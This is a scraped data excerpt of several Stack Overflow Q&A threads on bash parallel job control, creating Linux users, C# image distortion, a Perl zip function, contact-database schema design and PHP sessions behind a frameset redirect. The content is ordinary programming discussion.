"text": "<p><em>Really</em> late to the party here, but here's another solution.</p>\n\n<p>A lot of solutions don't handle spaces/special characters in the commands, don't keep N jobs running at all times, eat cpu in busy loops, or rely on external dependencies (e.g. GNU <code>parallel</code>).</p>\n\n<p>With <a href=\"https://stackoverflow.com/a/39189370/316622\">inspiration for dead/zombie process handling</a>, here's a pure bash solution:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>function run_parallel_jobs {\n local concurrent_max=$1\n local callback=$2\n local cmds=(\"${@:3}\")\n local jobs=( )\n\n while [[ \"${#cmds[@]}\" -gt 0 ]] || [[ \"${#jobs[@]}\" -gt 0 ]]; do\n while [[ \"${#jobs[@]}\" -lt $concurrent_max ]] && [[ \"${#cmds[@]}\" -gt 0 ]]; do\n local cmd=\"${cmds[0]}\"\n cmds=(\"${cmds[@]:1}\")\n\n bash -c \"$cmd\" &\n jobs+=($!)\n done\n\n local job=\"${jobs[0]}\"\n jobs=(\"${jobs[@]:1}\")\n\n local state=\"$(ps -p $job -o state= 2>/dev/null)\"\n\n if [[ \"$state\" == \"D\" ]] || [[ \"$state\" == \"Z\" ]]; then\n $callback $job\n else\n wait $job\n $callback $job $?\n fi\n done\n}\n</code></pre>\n\n<p>And sample usage:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>function job_done {\n if [[ $# -lt 2 ]]; then\n echo \"PID $1 died unexpectedly\"\n else\n echo \"PID $1 exited $2\"\n fi\n}\n\ncmds=( \\\n \"echo 1; sleep 1; exit 1\" \\\n \"echo 2; sleep 2; exit 2\" \\\n \"echo 3; sleep 3; exit 3\" \\\n \"echo 4; sleep 4; exit 4\" \\\n \"echo 5; sleep 5; exit 5\" \\\n)\n\n# cpus=\"$(getconf _NPROCESSORS_ONLN)\"\ncpus=3\nrun_parallel_jobs $cpus \"job_done\" \"${cmds[@]}\"\n</code></pre>\n\n<p>The output:</p>\n\n<pre><code>1\n2\n3\nPID 56712 exited 1\n4\nPID 56713 exited 2\n5\nPID 56714 exited 3\nPID 56720 exited 4\nPID 56724 exited 5\n</code></pre>\n\n<p>For per-process output handling <code>$$</code> could be used to log to a file, for example:</p>\n\n<pre class=\"lang-sh prettyprint-override\"><code>function job_done {\n cat \"$1.log\"\n}\n\ncmds=( \\\n \"echo 1 \\$\\$ >\\$\\$.log\" \\\n \"echo 2 \\$\\$ >\\$\\$.log\" \\\n)\n\nrun_parallel_jobs 2 \"job_done\" \"${cmds[@]}\"\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>1 56871\n2 56872\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38160",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/163/"
] | Lets say I have a loop in Bash:
```
for foo in `some-command`
do
do-something $foo
done
```
`do-something` is cpu bound and I have a nice shiny 4 core processor. I'd like to be able to run up to 4 `do-something`'s at once.
The naive approach seems to be:
```
for foo in `some-command`
do
do-something $foo &
done
```
This will run *all* `do-something`s at once, but there are a couple downsides, mainly that do-something may also have some significant I/O which performing *all* at once might slow down a bit. The other problem is that this code block returns immediately, so no way to do other work when all the `do-something`s are finished.
How would you write this loop so there are always X `do-something`s running at once? | Depending on what you want to do xargs also can help (here: converting documents with pdf2ps):
```
cpus=$( ls -d /sys/devices/system/cpu/cpu[[:digit:]]* | wc -w )
find . -name \*.pdf | xargs --max-args=1 --max-procs=$cpus pdf2ps
```
From the docs:
```
--max-procs=max-procs
-P max-procs
Run up to max-procs processes at a time; the default is 1.
If max-procs is 0, xargs will run as many processes as possible at a
time. Use the -n option with -P; otherwise chances are that only one
exec will be done.
``` |
38,288 | <p>Specifically, what commands do I run from the terminal?</p>
| [
{
"answer_id": 38289,
"author": "quackingduck",
"author_id": 3624,
"author_profile": "https://Stackoverflow.com/users/3624",
"pm_score": 8,
"selected": true,
"text": "<p>Without a home directory</p>\n\n<pre><code>sudo useradd myuser\n</code></pre>\n\n<p>With home directory</p>\n\n<pre><code>sudo useradd -m myuser\n</code></pre>\n\n<p>Then set the password</p>\n\n<pre><code>sudo passwd myuser\n</code></pre>\n\n<p>Then set the shell</p>\n\n<pre><code>sudo usermod -s /bin/bash myuser\n</code></pre>\n"
},
{
"answer_id": 38296,
"author": "skinp",
"author_id": 2907,
"author_profile": "https://Stackoverflow.com/users/2907",
"pm_score": 4,
"selected": false,
"text": "<p>There's basicly 2 commands to do this...</p>\n\n<ul>\n<li>useradd</li>\n<li>adduser (which is a frendlier front end to useradd)</li>\n</ul>\n\n<p>You have to run them has root.\nJust read their manuals to find out how to use them.</p>\n"
},
{
"answer_id": 2080709,
"author": "Liberty",
"author_id": 252553,
"author_profile": "https://Stackoverflow.com/users/252553",
"pm_score": 5,
"selected": false,
"text": "<p>Here's the command I almost always use (adding user kevin):</p>\n\n<pre><code>useradd -d /home/kevin -s /bin/bash -m kevin\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38288",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3624/"
] | Specifically, what commands do I run from the terminal? | Without a home directory
```
sudo useradd myuser
```
With home directory
```
sudo useradd -m myuser
```
Then set the password
```
sudo passwd myuser
```
Then set the shell
```
sudo usermod -s /bin/bash myuser
``` |
38,308 | <p>Drawing a parallelgram is nicely supported with Graphics.DrawImage:</p>
<pre><code>Bitmap destImage = new Bitmap(srcImage.Width, srcImage.Height);
using (Graphics gr = new Graphics.FromImage(destImage))
{
Point[] destPts = new Point[] { new PointF(x1, y1),
new PointF(x2, y2), new PointF(x4, y4)};
gr.DrawImage(srcImage, destPts);
</code></pre>
<p>How, do you do 4 points (obviously the following is not supported, but this is what is wanted):</p>
<pre><code>Bitmap destImage = new Bitmap(srcImage.Width, srcImage.Height);
using (Graphics gr = new Graphics.FromImage(destImage))
{
Point[] destPts = new Point[] { new PointF(x1, y1), new PointF(x2, y2),
new PointF(x3, y3), new PointF(x4, y4)};
gr.DrawImage(srcImage, destPts);
}
</code></pre>
| [
{
"answer_id": 38403,
"author": "Adam Tegen",
"author_id": 4066,
"author_profile": "https://Stackoverflow.com/users/4066",
"pm_score": 1,
"selected": false,
"text": "<p>Normally you would do this with a 3x3 Matrix, but the Matrix class only lets you specify 6 values instead of 9. You might be able to do this in Direct X.</p>\n"
},
{
"answer_id": 320969,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": -1,
"selected": true,
"text": "<p>Closest I can find is <a href=\"http://vckicks.110mb.com/image-distortion.html\" rel=\"nofollow noreferrer\">this information</a>, which is extremely laggy.</p>\n"
},
{
"answer_id": 11918947,
"author": "TekuConcept",
"author_id": 1416320,
"author_profile": "https://Stackoverflow.com/users/1416320",
"pm_score": 0,
"selected": false,
"text": "<p>When thinking of how 3D tools would handle it... try drawing a triangle of one half and then the other triangle for the other half. So if you have points A, B, C, & D; you would draw (with a clipping plane) A, B, C and then B, C, D, or something of the sort.</p>\n"
},
{
"answer_id": 29897774,
"author": "antonio",
"author_id": 1024754,
"author_profile": "https://Stackoverflow.com/users/1024754",
"pm_score": 0,
"selected": false,
"text": "<p>I found the following article in CodeProject:\n<a href=\"http://www.codeproject.com/Articles/36145/Free-Image-Transformation\" rel=\"nofollow noreferrer\">Free Image Transformation By YLS</a>\n<img src=\"https://i.stack.imgur.com/JeYap.jpg\" alt=\"enter image description here\"></p>\n\n<p>needs some works</p>\n\n<p>maybe you can use this :)</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38308",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3798/"
] | Drawing a parallelgram is nicely supported with Graphics.DrawImage:
```
Bitmap destImage = new Bitmap(srcImage.Width, srcImage.Height);
using (Graphics gr = new Graphics.FromImage(destImage))
{
Point[] destPts = new Point[] { new PointF(x1, y1),
new PointF(x2, y2), new PointF(x4, y4)};
gr.DrawImage(srcImage, destPts);
```
How, do you do 4 points (obviously the following is not supported, but this is what is wanted):
```
Bitmap destImage = new Bitmap(srcImage.Width, srcImage.Height);
using (Graphics gr = new Graphics.FromImage(destImage))
{
Point[] destPts = new Point[] { new PointF(x1, y1), new PointF(x2, y2),
new PointF(x3, y3), new PointF(x4, y4)};
gr.DrawImage(srcImage, destPts);
}
``` | Closest I can find is [this information](http://vckicks.110mb.com/image-distortion.html), which is extremely laggy. |
38,345 | <p>I recently "needed" a zip function in Perl 5 (while I was thinking about <a href="https://stackoverflow.com/questions/11/how-do-i-calculate-relative-time">How do I calculate relative time?</a>), i.e. a function that takes two lists and "zips" them together to one list, interleaving the elements.</p>
<p>(Pseudo)example: </p>
<pre><code>@a=(1, 2, 3);
@b=('apple', 'orange', 'grape');
zip @a, @b; # (1, 'apple', 2, 'orange', 3, 'grape');
</code></pre>
<p><a href="http://www.haskell.org/onlinereport/standard-prelude.html" rel="nofollow noreferrer">Haskell has zip in the Prelude</a> and <a href="http://ferreira.nfshost.com/perl6/zip.html" rel="nofollow noreferrer">Perl 6 has a zip operator</a> built in, but how do you do it in an elegant way in Perl 5?</p>
| [
{
"answer_id": 38365,
"author": "Jason Navarrete",
"author_id": 3920,
"author_profile": "https://Stackoverflow.com/users/3920",
"pm_score": 5,
"selected": false,
"text": "<p>The <a href=\"http://search.cpan.org/perldoc?List::MoreUtils\" rel=\"noreferrer\">List::MoreUtils</a> module has a zip/mesh function that should do the trick:</p>\n\n<pre><code>use List::MoreUtils qw(zip);\n\nmy @numbers = (1, 2, 3);\nmy @fruit = ('apple', 'orange', 'grape');\n\nmy @zipped = zip @numbers, @fruit;\n</code></pre>\n\n<p>Here is the source of the mesh function:</p>\n\n<pre><code>sub mesh (\\@\\@;\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@) {\n my $max = -1;\n $max < $#$_ && ($max = $#$_) for @_;\n\n map { my $ix = $_; map $_->[$ix], @_; } 0..$max; \n}\n</code></pre>\n"
},
{
"answer_id": 70604,
"author": "jonfm",
"author_id": 6924,
"author_profile": "https://Stackoverflow.com/users/6924",
"pm_score": 2,
"selected": false,
"text": "<pre>\nmy @l1 = qw/1 2 3/;\nmy @l2 = qw/7 8 9/;\nmy @out; \npush @out, shift @l1, shift @l2 while ( @l1 || @l2 );\n</pre>\n\n<p>If the lists are a different length, this will put 'undef' in the extra slots but you can easily remedy this if you don't wish to do this. Something like ( @l1[0] && shift @l1 ) would do it.</p>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 71895,
"author": "Aristotle Pagaltzis",
"author_id": 9410,
"author_profile": "https://Stackoverflow.com/users/9410",
"pm_score": 6,
"selected": true,
"text": "<p>Assuming you have exactly two lists and they are exactly the same length, here is a solution originally by merlyn (Randal Schwartz), who called it perversely perlish:</p>\n\n<pre><code>sub zip2 {\n my $p = @_ / 2; \n return @_[ map { $_, $_ + $p } 0 .. $p - 1 ];\n}\n</code></pre>\n\n<p>What happens here is that for a 10-element list, first, we find the pivot point in the middle, in this case 5, and save it in <code>$p</code>. Then we make a list of indices up to that point, in this case 0 1 2 3 4. Next we use <code>map</code> to pair each index with another index that’s at the same distance from the pivot point as the first index is from the start, giving us (in this case) 0 5 1 6 2 7 3 8 4 9. Then we take a slice from <code>@_</code> using that as the list of indices. This means that if <code>'a', 'b', 'c', 1, 2, 3</code> is passed to <code>zip2</code>, it will return that list rearranged into <code>'a', 1, 'b', 2, 'c', 3</code>.</p>\n\n<p>This can be written in a single expression along ysth’s lines like so:</p>\n\n<pre><code>sub zip2 { @_[map { $_, $_ + @_/2 } 0..(@_/2 - 1)] }\n</code></pre>\n\n<p>Whether you’d want to use either variation depends on whether you can see yourself remembering how they work, but for me, it was a mind expander.</p>\n"
},
{
"answer_id": 100082,
"author": "ysth",
"author_id": 17389,
"author_profile": "https://Stackoverflow.com/users/17389",
"pm_score": 2,
"selected": false,
"text": "<p><a href=\"http://search.cpan.org/perldoc?Algorithm::Loops\" rel=\"nofollow noreferrer\"><code>Algorithm::Loops</code></a> is really nice if you do much of this kind of thing.</p>\n\n<p>My own code:</p>\n\n<pre><code>sub zip { @_[map $_&1 ? $_>>1 : ($_>>1)+($#_>>1), 1..@_] }\n</code></pre>\n"
},
{
"answer_id": 171391,
"author": "ephemient",
"author_id": 20713,
"author_profile": "https://Stackoverflow.com/users/20713",
"pm_score": 1,
"selected": false,
"text": "<p>This is totally not an elegant solution, nor is it the best solution by any stretch of the imagination. But it's fun!</p>\n\n<pre><code>package zip;\n\nsub TIEARRAY {\n my ($class, @self) = @_;\n bless \\@self, $class;\n}\n\nsub FETCH {\n my ($self, $index) = @_;\n $self->[$index % @$self][$index / @$self];\n}\n\nsub STORE {\n my ($self, $index, $value) = @_;\n $self->[$index % @$self][$index / @$self] = $value;\n}\n\nsub FETCHSIZE {\n my ($self) = @_;\n my $size = 0;\n @$_ > $size and $size = @$_ for @$self;\n $size * @$self;\n}\n\nsub CLEAR {\n my ($self) = @_;\n @$_ = () for @$self;\n}\n\npackage main;\n\nmy @a = qw(a b c d e f g);\nmy @b = 1 .. 7;\n\ntie my @c, zip => \\@a, \\@b;\n\nprint \"@c\\n\"; # ==> a 1 b 2 c 3 d 4 e 5 f 6 g 7\n</code></pre>\n\n<p>How to handle <code>STORESIZE</code>/<code>PUSH</code>/<code>POP</code>/<code>SHIFT</code>/<code>UNSHIFT</code>/<code>SPLICE</code> is an exercise left to the reader.</p>\n"
},
{
"answer_id": 486162,
"author": "jmcnamara",
"author_id": 10238,
"author_profile": "https://Stackoverflow.com/users/10238",
"pm_score": 3,
"selected": false,
"text": "<p>For arrays of the same length:</p>\n\n<pre><code>my @zipped = ( @a, @b )[ map { $_, $_ + @a } ( 0 .. $#a ) ];\n</code></pre>\n"
},
{
"answer_id": 544390,
"author": "Frank",
"author_id": 60628,
"author_profile": "https://Stackoverflow.com/users/60628",
"pm_score": 4,
"selected": false,
"text": "<p>I find the following solution straightforward and easy to read:</p>\n\n<pre><code>@a = (1, 2, 3);\n@b = ('apple', 'orange', 'grape');\n@zipped = map {($a[$_], $b[$_])} (0 .. $#a);\n</code></pre>\n\n<p>I believe it's also faster than solutions that create the array in a wrong order first and then use slice to reorder, or solutions that modify <code>@a</code> and <code>@b</code>.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38345",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2905/"
] | I recently "needed" a zip function in Perl 5 (while I was thinking about [How do I calculate relative time?](https://stackoverflow.com/questions/11/how-do-i-calculate-relative-time)), i.e. a function that takes two lists and "zips" them together to one list, interleaving the elements.
(Pseudo)example:
```
@a=(1, 2, 3);
@b=('apple', 'orange', 'grape');
zip @a, @b; # (1, 'apple', 2, 'orange', 3, 'grape');
```
[Haskell has zip in the Prelude](http://www.haskell.org/onlinereport/standard-prelude.html) and [Perl 6 has a zip operator](http://ferreira.nfshost.com/perl6/zip.html) built in, but how do you do it in an elegant way in Perl 5? | Assuming you have exactly two lists and they are exactly the same length, here is a solution originally by merlyn (Randal Schwartz), who called it perversely perlish:
```
sub zip2 {
my $p = @_ / 2;
return @_[ map { $_, $_ + $p } 0 .. $p - 1 ];
}
```
What happens here is that for a 10-element list, first, we find the pivot point in the middle, in this case 5, and save it in `$p`. Then we make a list of indices up to that point, in this case 0 1 2 3 4. Next we use `map` to pair each index with another index that’s at the same distance from the pivot point as the first index is from the start, giving us (in this case) 0 5 1 6 2 7 3 8 4 9. Then we take a slice from `@_` using that as the list of indices. This means that if `'a', 'b', 'c', 1, 2, 3` is passed to `zip2`, it will return that list rearranged into `'a', 1, 'b', 2, 'c', 3`.
This can be written in a single expression along ysth’s lines like so:
```
sub zip2 { @_[map { $_, $_ + @_/2 } 0..(@_/2 - 1)] }
```
Whether you’d want to use either variation depends on whether you can see yourself remembering how they work, but for me, it was a mind expander. |
38,352 | <p>I need to store contact information for users. I want to present this data on the page as an <a href="http://en.wikipedia.org/wiki/Hcard" rel="nofollow noreferrer">hCard</a> and downloadable as a <a href="http://en.wikipedia.org/wiki/VCard" rel="nofollow noreferrer">vCard</a>. I'd also like to be able to search the database by phone number, email, etc. </p>
<p>What do you think is the best way to store this data? Since users could have multiple addresses, etc complete normalization would be a mess. I'm thinking about using XML, but I'm not familiar with querying XML db fields. Would I still be able to search for users by contact info?</p>
<p>I'm using SQL Server 2005, if that matters.</p>
| [
{
"answer_id": 38436,
"author": "palmsey",
"author_id": 521,
"author_profile": "https://Stackoverflow.com/users/521",
"pm_score": 1,
"selected": false,
"text": "<p>I'm aware of SQLite, but that doesn't really help - I'm talking about figuring out the best schema (regardless of the database) for storing this data.</p>\n"
},
{
"answer_id": 38471,
"author": "John",
"author_id": 2168,
"author_profile": "https://Stackoverflow.com/users/2168",
"pm_score": 2,
"selected": false,
"text": "<p>Why would complete normalization \"be a mess\"? This is exactly the kind of thing that normalization makes less messy.</p>\n"
},
{
"answer_id": 38617,
"author": "Rob",
"author_id": 3542,
"author_profile": "https://Stackoverflow.com/users/3542",
"pm_score": 1,
"selected": false,
"text": "<p>Per John, I don't see what the problem with a classic normalised schema would be. You haven't given much information to go on, but you say that there's a one-to-many relationship between users and addresses, so I'd plump for a bog standard solution with a foreign key to the user in the address relation.</p>\n"
},
{
"answer_id": 38619,
"author": "James Inman",
"author_id": 393028,
"author_profile": "https://Stackoverflow.com/users/393028",
"pm_score": 0,
"selected": false,
"text": "<p>If you assume each user has one or more addresses, a telephone number, etc., you could have a 'Users' table, an 'Addresses Table' (containing a primary key and then non-unique reference to Users), the same for phone numbers - allowing multiple rows with the same UserID foreign key, which would make querying 'all addresses for user X' quite simple.</p>\n"
},
{
"answer_id": 61103,
"author": "Alan",
"author_id": 5878,
"author_profile": "https://Stackoverflow.com/users/5878",
"pm_score": 4,
"selected": true,
"text": "<p>Consider two tables for People and their addresses: </p>\n\n<pre><code>People (pid, prefix, firstName, lastName, suffix, DOB, ... primaryAddressTag )\n\nAddressBook (pid, tag, address1, address2, city, stateProv, postalCode, ... )\n</code></pre>\n\n<p>The Primary Key (that uniquely identifies each and every row) of People is <code>pid</code>. The PK of AddressBook is the composition of pid and tag <code>(pid, tag)</code>.</p>\n\n<p>Some example data:</p>\n\n<h2>People</h2>\n\n<pre><code>1, Kirk\n\n2, Spock\n</code></pre>\n\n<h2>AddressBook</h2>\n\n<pre><code>1, home, '123 Main Street', Iowa\n\n1, work, 'USS Enterprise NCC-1701'\n\n2, other, 'Mt. Selaya, Vulcan'\n</code></pre>\n\n<p>In this example, Kirk has two addresses: one 'home' and one 'work'. One of those two can (and should) be noted as a foreign key (like a cross-reference) in <code>People</code> in the primaryAddressTag column.</p>\n\n<p>Spock has a single address with the tag 'other'. Since that is Spock's only address, the value 'other' ought to go in the <code>primaryAddressTag</code> column for pid=2.</p>\n\n<p>This schema has the nice effect of preventing the same person from duplicating any of their own addresses by accidentally reusing tags while at the same time allowing all other people use any address tags they like.</p>\n\n<p>Further, with FK references in <code>primaryAddressTag</code>, the database system itself will enforce the validity of the primary address tag (via something we database geeks call referential integrity) so that your -- or any -- application need not worry about it.</p>\n"
},
{
"answer_id": 293413,
"author": "dshaw",
"author_id": 32595,
"author_profile": "https://Stackoverflow.com/users/32595",
"pm_score": 2,
"selected": false,
"text": "<p>Don't be afraid of normalizing your data. Normalization, like <a href=\"https://stackoverflow.com/questions/38352/address-book-db-schema#38471\">John mentions</a>, is the solution not the problem. If you try to denormalize your data just to avoid a couple joins, then you're going to cause yourself serious trouble in the future. Trying to refactor this sort of data down the line after you have a reasonable size dataset WILL NOT BE FUN.</p>\n\n<p>I strongly suggest you check out <a href=\"http://www.highrisehq.com\" rel=\"nofollow noreferrer\">Highrise</a> from 36 Signals. It was recently recommended to me when I was looking for an online contact manager. It does so much right. Actually, my only objection so far with the service is that I think the paid versions are too expensive -- that's all.</p>\n\n<p>As things stand today, I do not fit into a flat address profile. I have 4-5 e-mail addresses that I use regularly, 5 phone numbers, 3 addresses, several websites and IM profiles, all of which I would include in my contact profile. If you're starting to build a contact management system now and you're unencumbered by architectural limitations (think gmail cantacts being keyed to a single email address), then do your users a favor and make your contact structure as flexible (normalized) as possible.</p>\n\n<p>Cheers, -D.</p>\n"
},
{
"answer_id": 11313185,
"author": "Alexx Roche",
"author_id": 1153645,
"author_profile": "https://Stackoverflow.com/users/1153645",
"pm_score": 0,
"selected": false,
"text": "<p>I don't have a script, but I do have mySQL that you can use. Before that I should mentioned that there seem to be two logical approaches to storing vCards in SQL:</p>\n\n<ol>\n<li><p>Store the whole card and let the database search, (possibly) huge text strings, and process them in another part of your code or even client side. e.g. </p>\n\n<p>CREATE TABLE IF NOT EXISTS <code>vcards</code> (<br>\n <code>name_or_letter</code> varchar(250) NOT NULL,<br>\n <code>vcard</code> text NOT NULL,<br>\n <code>timestamp</code> timestamp default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,<br>\n PRIMARY KEY (<code>username</code>)<br> \n) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin;</p></li>\n</ol>\n\n<p>Probably easy to implement, (depending on what you are doing with the data) though your searches are going to be slow if you have many entries.\nIf this is just for you then this might work, (if it is any good then it is <em>never</em> just for you.) You can then process the vCard client side or server side using some beautiful module that you share, (or someone else shared with you.)</p>\n\n<p>I've watched vCard evolve and <em>know</em> that there is going to be\nsome change at /some/ time in the future so I use three tables.</p>\n\n<p>The first is the card, (this mostly links back to my existing tables - if you don't need this then yours can be a cut down version).\nThe second are the card definitions, (which seem to be called profile in vCard speak).\nThe last is all the actual data for the cards.</p>\n\n<p>Because I let DBIx::Class, (yes I'm one of those) do all of the database work this, (three tables) seems to work rather well for me,\n(though obviously you can tighten up the types to match <a href=\"http://www.ietf.org/rfc/rfc2426.txt\" rel=\"nofollow\">rfc2426</a> more closely,\nbut for the most part each piece of data is just a text string.)</p>\n\n<p>The reason that I don't normalize out the address from the person is that I already have an\naddress table in my database and these three are just for non-user contact details.</p>\n\n<pre><code> CREATE TABLE `vCards` ( \n `card_id` int(255) unsigned NOT NULL AUTO_INCREMENT, \n `card_peid` int(255) DEFAULT NULL COMMENT 'link back to user table', \n `card_acid` int(255) DEFAULT NULL COMMENT 'link back to account table', \n `card_language` varchar(5) DEFAULT NULL COMMENT 'en en_GB',\n `card_encoding` varchar(32) DEFAULT 'UTF-8' COMMENT 'why use anything else?',\n `card_created` datetime NOT NULL, \n `card_updated` datetime NOT NULL,\n PRIMARY KEY (`card_id`) )\n ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT='These are the contact cards'\n\n create table vCard_profile (\n vcprofile_id int(255) unsigned auto_increment NOT NULL,\n vcprofile_version enum('rfc2426') DEFAULT \"rfc2426\" COMMENT \"defaults to vCard 3.0\",\n vcprofile_feature char(16) COMMENT \"FN to CATEGORIES\",\n vcprofile_type enum('text','bin') DEFAULT \"text\" COMMENT \"if it is too large for vcd_value then user vcd_bin\",\n PRIMARY KEY (`vcprofile_id`)\n) COMMENT \"These are the valid types of card entry\";\nINSERT INTO vCard_profile VALUES('','rfc2426','FN','text'),('','rfc2426','N','text'),('','rfc2426','NICKNAME','text'),('','rfc2426','PHOTO','bin'),('','rfc2426','BDAY','text'),('','rfc2426','ADR','text'),('','rfc2426','LABEL','text'),('','rfc2426','TEL','text'),('','rfc2426','EMAIL','text'),('','rfc2426','MAILER','text'),('','rfc2426','TZ','text'),('','rfc2426','GEO','text'),('','rfc2426','TITLE','text'),('','rfc2426','ROLE','text'),('','rfc2426','LOGO','bin'),('','rfc2426','AGENT','text'),('','rfc2426','ORG','text'),('','rfc2426','CATEGORIES','text'),('','rfc2426','NOTE','text'),('','rfc2426','PRODID','text'),('','rfc2426','REV','text'),('','rfc2426','SORT-STRING','text'),('','rfc2426','SOUND','bin'),('','rfc2426','UID','text'),('','rfc2426','URL','text'),('','rfc2426','VERSION','text'),('','rfc2426','CLASS','text'),('','rfc2426','KEY','bin');\n\ncreate table vCard_data (\n vcd_id int(255) unsigned auto_increment NOT NULL,\n vcd_card_id int(255) NOT NULL,\n vcd_profile_id int(255) NOT NULL,\n vcd_prof_detail varchar(255) COMMENT \"work,home,preferred,order for e.g. multiple email addresses\",\n vcd_value varchar(255),\n vcd_bin blob COMMENT \"for when varchar(255) is too small\",\n PRIMARY KEY (`vcd_id`)\n) COMMENT \"The actual vCard data\";\n</code></pre>\n\n<p>This isn't the best SQL but I hope that helps.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38352",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/521/"
] | I need to store contact information for users. I want to present this data on the page as an [hCard](http://en.wikipedia.org/wiki/Hcard) and downloadable as a [vCard](http://en.wikipedia.org/wiki/VCard). I'd also like to be able to search the database by phone number, email, etc.
What do you think is the best way to store this data? Since users could have multiple addresses, etc complete normalization would be a mess. I'm thinking about using XML, but I'm not familiar with querying XML db fields. Would I still be able to search for users by contact info?
I'm using SQL Server 2005, if that matters. | Consider two tables for People and their addresses:
```
People (pid, prefix, firstName, lastName, suffix, DOB, ... primaryAddressTag )
AddressBook (pid, tag, address1, address2, city, stateProv, postalCode, ... )
```
The Primary Key (that uniquely identifies each and every row) of People is `pid`. The PK of AddressBook is the composition of pid and tag `(pid, tag)`.
Some example data:
People
------
```
1, Kirk
2, Spock
```
AddressBook
-----------
```
1, home, '123 Main Street', Iowa
1, work, 'USS Enterprise NCC-1701'
2, other, 'Mt. Selaya, Vulcan'
```
In this example, Kirk has two addresses: one 'home' and one 'work'. One of those two can (and should) be noted as a foreign key (like a cross-reference) in `People` in the primaryAddressTag column.
Spock has a single address with the tag 'other'. Since that is Spock's only address, the value 'other' ought to go in the `primaryAddressTag` column for pid=2.
This schema has the nice effect of preventing the same person from duplicating any of their own addresses by accidentally reusing tags while at the same time allowing all other people use any address tags they like.
Further, with FK references in `primaryAddressTag`, the database system itself will enforce the validity of the primary address tag (via something we database geeks call referential integrity) so that your -- or any -- application need not worry about it. |
38,370 | <p>I've to admin a small website for my alumni group which is hosted by my ISV. The url is something like www.myIsv.com/myWebSite/ which is quite ugly and very forgetable. The main admin of the webserver has registered a domain name www.mysmallwebsite.com and put a index.html with this content:</p>
<pre><code><html>
<head>
<title>www.mysmallwebsite.com</title>
</head>
<frameset>
<frame src="http://www.myIsv.com/myWebSite/" name="redir">
<noframes>
<p>Original location:
<a href="www.myIsv.com/myWebSite/">http://www.myIsv.com/myWebSite/</a>
</p>
</noframes>
</frameset>
</html>
</code></pre>
<p>It works fine, but some features like PHP Session variables doesn't work anymore! Anyone has a suggestion for correcting that?</p>
<p>Edit:
This doesn't work both on IE and on Firefox (no plugins)</p>
<p>Thanks</p>
| [
{
"answer_id": 38382,
"author": "Alexandru Nedelcu",
"author_id": 3280,
"author_profile": "https://Stackoverflow.com/users/3280",
"pm_score": 0,
"selected": false,
"text": "<p>What do you mean?\nAre you saying that when you go from www.mysmallwebsite.com to www.myIsv.com/myWebSite/ then the PHP session is lost?</p>\n\n<p>PHP recognizes the session with an ID (alpha-numeric hash generated on the server). The ID is passed from request to request using a cookie called PHPSESSID or something like that (you can view the cookies a websites sets with the help of your browser ... on Firefox you have Firebug + FireCookie and the wonderful Web Developer Toolbar ... with which you can view the list of cookies without a sweat).</p>\n\n<p>So ... PHP is passing the session ID through the PHPSESSID cookie. But you can pass the session ID as a plain GET request parameters.</p>\n\n<p>So when you place the html link to the ugly domain name, assuming that it is the same PHP server (with the same sessions initialized), you can put it like this ...</p>\n\n<pre><code>www.myIsv.com/myWebSite/?PHPSESSID=<?=session_id()?>\n</code></pre>\n\n<p>I haven't worked with PHP for a while, but I think this will work. </p>\n"
},
{
"answer_id": 38385,
"author": "pix0r",
"author_id": 72,
"author_profile": "https://Stackoverflow.com/users/72",
"pm_score": 0,
"selected": false,
"text": "<p>Do session variables work if you hit <a href=\"http://www.myIsv.com/myWebSite/\" rel=\"nofollow noreferrer\">http://www.myIsv.com/myWebSite/</a> directly? It would seem to me that the server config would dictate whether or not sessions will work. However, if you're starting a session on www.mysmallwebsite.com somehow (doesn't look like you're using PHP, but maybe you are), you're not going to be able to transfer session data without writing some backend logic that moves the session from server to server.</p>\n"
},
{
"answer_id": 38390,
"author": "ftdysa",
"author_id": 2016,
"author_profile": "https://Stackoverflow.com/users/2016",
"pm_score": 0,
"selected": false,
"text": "<p>Stick a session_start() at the beginning of your script and see if you can access the variables again.</p>\n"
},
{
"answer_id": 38394,
"author": "Shawn",
"author_id": 26,
"author_profile": "https://Stackoverflow.com/users/26",
"pm_score": 0,
"selected": false,
"text": "<p>It's not working because on the client sessions are per-domain. All the cookies are being saved for mysmallwebsite.com, so myIsv.com cannot access them.</p>\n"
},
{
"answer_id": 38395,
"author": "Steve Gury",
"author_id": 1578,
"author_profile": "https://Stackoverflow.com/users/1578",
"pm_score": 0,
"selected": false,
"text": "<p>@pix0r\nwww.myIsv.com/myWebSite/ -> session variable work\nwww.mysmallwebsite.com -> session variable doesn't work</p>\n\n<p>@Alexandru\nUnfortunately this is not on the same webserver</p>\n"
},
{
"answer_id": 38397,
"author": "Re0sless",
"author_id": 2098,
"author_profile": "https://Stackoverflow.com/users/2098",
"pm_score": 0,
"selected": false,
